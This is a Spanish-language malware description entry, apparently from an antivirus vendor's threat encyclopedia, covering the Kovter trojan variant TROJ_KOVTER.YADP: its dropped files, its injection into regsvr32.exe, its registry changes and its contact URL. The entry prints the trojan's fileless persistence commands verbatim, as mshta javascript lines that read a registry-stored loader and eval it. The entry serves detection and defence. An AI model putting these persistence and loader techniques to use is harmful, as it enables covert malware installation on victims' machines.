TROJ_KOVTER.YADP

Puede haberlo descargado otro malware/grayware/spyware desde sitios remotos.

Se conecta a determinados sitios Web para enviar y recibir información.

Detalles de entrada

Puede haberlo descargado otro malware/grayware/spyware desde sitios remotos.

Instalación

Infiltra los archivos siguientes:

• %Application Data%\{random string}\{random}.lnk - link to Batch file
• %Application Data%\{random string}\{random}.bat - starts Encrypted file
• %Application Data%\{random string}\{random}.{random} - Encrypted file

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data y en el caso de Windows 2000, XP y Server 2003 en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data).

Crea las siguientes copias de sí mismo en el sistema afectado:

• %Application Data%\{random string}\{random string}.exe

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data y en el caso de Windows 2000, XP y Server 2003 en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data).

Crea las carpetas siguientes:

• %Application Data%\{random string}

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data y en el caso de Windows 2000, XP y Server 2003 en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data).

Este malware inyecta códigos en el/los siguiente(s) proceso(s):

• regsvr32.exe

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(default) = ""C:\WINDOWS\system32\mshta.exe" javascript:NNz6V0CG="iKaSv5Y";o7v8=new%20ActiveXObject("WScript.Shell");nlE84vzX="3c2g";qK5zB9=o7v8.RegRead("HKCU\software\{Random String 2}\{Random String 4}");Byo7Ers="TIBUOl";eval(qK5zB9);S23ZTrQx="Bym";"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = ""%Application Data%\{random string}\{random}.lnk""

Otras modificaciones del sistema

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_CLASSES_ROOT\{Random String 1}

HKEY_CURRENT_USER\Software\{Random String 2}

HKEY_CURRENT_USER\Software\{Random String 2}
{random string} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_CURRENT_USER\Software\{Random String 2}
{random string} = {data}

HKEY_CURRENT_USER\Software\{Random String 2}
{random string} = "%Application Data%\{random string}\{random}.exe"

HKEY_CLASSES_ROOT\{Random String 1}\shell\
open\command
(Default) = ""C:\WINDOWS\system32\mshta.exe" "javascript:Ohd3Evj="WD";ap0=new ActiveXObject("WScript.Shell");beSwO9="IUi";sZO08Q=ap0.RegRead("HKCU\software\{Random String 2}\{Random String 4}");uExW6Y5M="2";eval(sZO08Q);Iq82jsDO="d99Pmz";""

HKEY_CURRENT_USER\Software\{Random String 2}
{Random String 3} = {Encrypted Data}

HKEY_CURRENT_USER\Software\{Random String 2}
{Random String 4} = {Loader Script}

HKEY_LOCAL_MACHINE\Software\{Random String 2}

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{random string} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{random string} = {data}

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{random string} = "%Application Data%\{random string}\{random}.exe"

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{Random String 3} = {Encrypted Data}

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{Random String 4} = {Loader Script}

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
regsvr32.exe = 000022b8

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
iexplore.exe = 000022b8

HKEY_LOCAL_MACHINE\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
regsvr32.exe = 000022b8

HKEY_LOCAL_MACHINE\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
iexplore.exe = 000022b8

Otros detalles

Se conecta al sitio Web siguiente para enviar y recibir información:

• http://{BLOCKED}.{BLOCKED}.72.90/upload.php